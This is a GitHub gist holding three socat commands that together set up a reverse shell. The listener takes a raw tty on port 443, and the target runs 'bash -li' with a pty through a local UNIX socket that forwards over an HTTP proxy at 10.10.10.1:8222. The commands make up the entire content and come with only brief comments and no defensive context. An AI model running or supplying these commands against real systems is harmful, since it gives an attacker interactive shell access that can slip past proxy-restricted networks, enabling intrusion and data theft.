-
-
Save boweiliu/e87e6facc02e96153c9bf874bd7311a6 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Listener on x.x.x.x:443: | |
| socat file:`tty`,raw,echo=0 tcp-listen:443 | |
| # Reverse shell proxy server is at 10.10.10.1:8222: | |
| socat UNIX-LISTEN:/tmp/x,reuseaddr,fork PROXY:10.10.10.1:x.x.x.x:443,proxyport=8222 & | |
| socat exec:'bash -li',pty,stderr,setsid,sigint,sane unix:"/tmp/x" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment